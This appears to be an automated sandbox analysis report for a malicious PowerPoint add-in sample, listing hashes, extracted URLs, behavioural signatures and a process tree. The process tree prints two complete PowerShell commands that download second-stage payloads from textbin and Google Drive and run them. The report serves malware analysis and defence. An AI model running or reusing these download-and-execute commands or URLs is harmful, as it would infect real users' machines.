Analysis
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max time kernel
133s -
max time network
149s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
26-11-2024 16:00
Static task
static1
Behavioral task
behavioral1
Sample
16ed82c39631c064df6e4790a55f9c766ba6747307c864eed489204dac021497.ppam
Resource
win7-20240729-en
Behavioral task
behavioral2
Sample
16ed82c39631c064df6e4790a55f9c766ba6747307c864eed489204dac021497.ppam
Resource
win10v2004-20241007-en
General
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Target
16ed82c39631c064df6e4790a55f9c766ba6747307c864eed489204dac021497.ppam
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Size
7KB
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MD5
51b6a6b674b708af7d355f5b855f1f28
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SHA1
427f1a1ffb6235dbc91a8bb2ab7e0e89f1d669b5
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SHA256
16ed82c39631c064df6e4790a55f9c766ba6747307c864eed489204dac021497
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SHA512
dd5d7fc3940d8e1a783373b10a8595a364becfe7650a6f3f32e6b871dca1ee5623db6cb8d4b9b871c0a6ec1b47176860574af6333ccf1fdcf769041feea871af
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SSDEEP
192:xrXP/3GViyiM8+5byn/nKM5TYgcnHyvakYSq3YD:dXPuE+ann5TRs/Z3K
Malware Config
Extracted
https://drive.google.com/uc?export=download&id=15ocCLsR2ZmidPwSBKFMdpMbEhO5YtYQ4
Extracted
https://pt.textbin.net/download/itm1dkgz7c
Signatures
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Process spawned unexpected child process 2 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process 4956 3140 powershell.exe 81 Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process 1980 3140 powershell.exe 81 -
Blocklisted process makes network request 3 IoCs
flow pid Process 24 4956 powershell.exe 25 1980 powershell.exe 30 4956 powershell.exe -
pid Process 4956 powershell.exe 1980 powershell.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 22 drive.google.com 24 drive.google.com -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 POWERPNT.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz POWERPNT.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString POWERPNT.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS POWERPNT.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily POWERPNT.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU POWERPNT.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 3140 POWERPNT.EXE -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 4956 powershell.exe 4956 powershell.exe 1980 powershell.exe 1980 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 4956 powershell.exe Token: SeDebugPrivilege 1980 powershell.exe -
Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 3140 POWERPNT.EXE 3140 POWERPNT.EXE 3140 POWERPNT.EXE -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 3140 wrote to memory of 1980 3140 POWERPNT.EXE 85 PID 3140 wrote to memory of 1980 3140 POWERPNT.EXE 85 PID 3140 wrote to memory of 4956 3140 POWERPNT.EXE 86 PID 3140 wrote to memory of 4956 3140 POWERPNT.EXE 86 PID 1980 wrote to memory of 4596 1980 powershell.exe 90 PID 1980 wrote to memory of 4596 1980 powershell.exe 90 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
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Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\16ed82c39631c064df6e4790a55f9c766ba6747307c864eed489204dac021497.ppam" /ou ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3140 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command $UmniN;[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;$uNTnd = (New-Object Net.WebClient) ;$uNTnd.Encoding = [System.Text.Encoding]::UTF8 ;$UmniN = $uNTnd.DownloadString( 'https://pt.textbin.net/download/itm1dkgz7c' ) ;$uNTnd = $uNTnd.DownloadString( $UmniN ) ;$x = [System.IO.Path]::GetTempPath() ;Set-Location $x ;$uNTnd | Out-File -FilePath x.vbs -force ;wscript.exe x.vbs ; exit2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1980 -
C:\Windows\system32\wscript.exe"C:\Windows\system32\wscript.exe" x.vbs3⤵PID:4596
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;$uNTnd = (New-Object Net.WebClient) ;$uNTnd.Encoding = [System.Text.Encoding]::UTF8 ;$uNTnd.DownloadFile( 'https://drive.google.com/uc?export=download&id=15ocCLsR2ZmidPwSBKFMdpMbEhO5YtYQ4', [System.IO.Path]::GetTempPath() + 'x.pptx' ) ;$x = [System.IO.Path]::GetTempPath() ;Set-Location $x ;start x.pptx ; exit2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4956
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
3KB
MD5556084f2c6d459c116a69d6fedcc4105
SHA1633e89b9a1e77942d822d14de6708430a3944dbc
SHA25688cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8
SHA5120f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e
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Filesize
1KB
MD58e42bec1f8f4c3705f1df36c21c85531
SHA1c9d6aac3c1b16ed12f22185ebdc9f921cd396d14
SHA256f3a91001711172cac5380d0409a531f64a8f85666188abb1e4fd0af070ddb9e2
SHA512d8b5b5ad81d6d447a3e1994e3ffb8c75f91452599737bc40b5c0b11668300654b938e92f87718c3f01a70cad26b54f697eb6f70fe95c2dd2357ccd4b8bd24aa6
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
1KB
MD5445d124223ce3f0e08a0ae4058c43785
SHA1f86d49541baa26af050371595a0ae86eeb1a9944
SHA256e7aaad63724fe31051a2321cdb30e760bbfabb4f6cc2606a41fa1c18719ce87b
SHA51207bd5136ea8d1f1933ed3b96fa724ad65a70a0cf74f2162cff9d3689d5facee84e081036ac71eacf3569c8dfb53c103acedcca0f11f7914630494edbb371ce13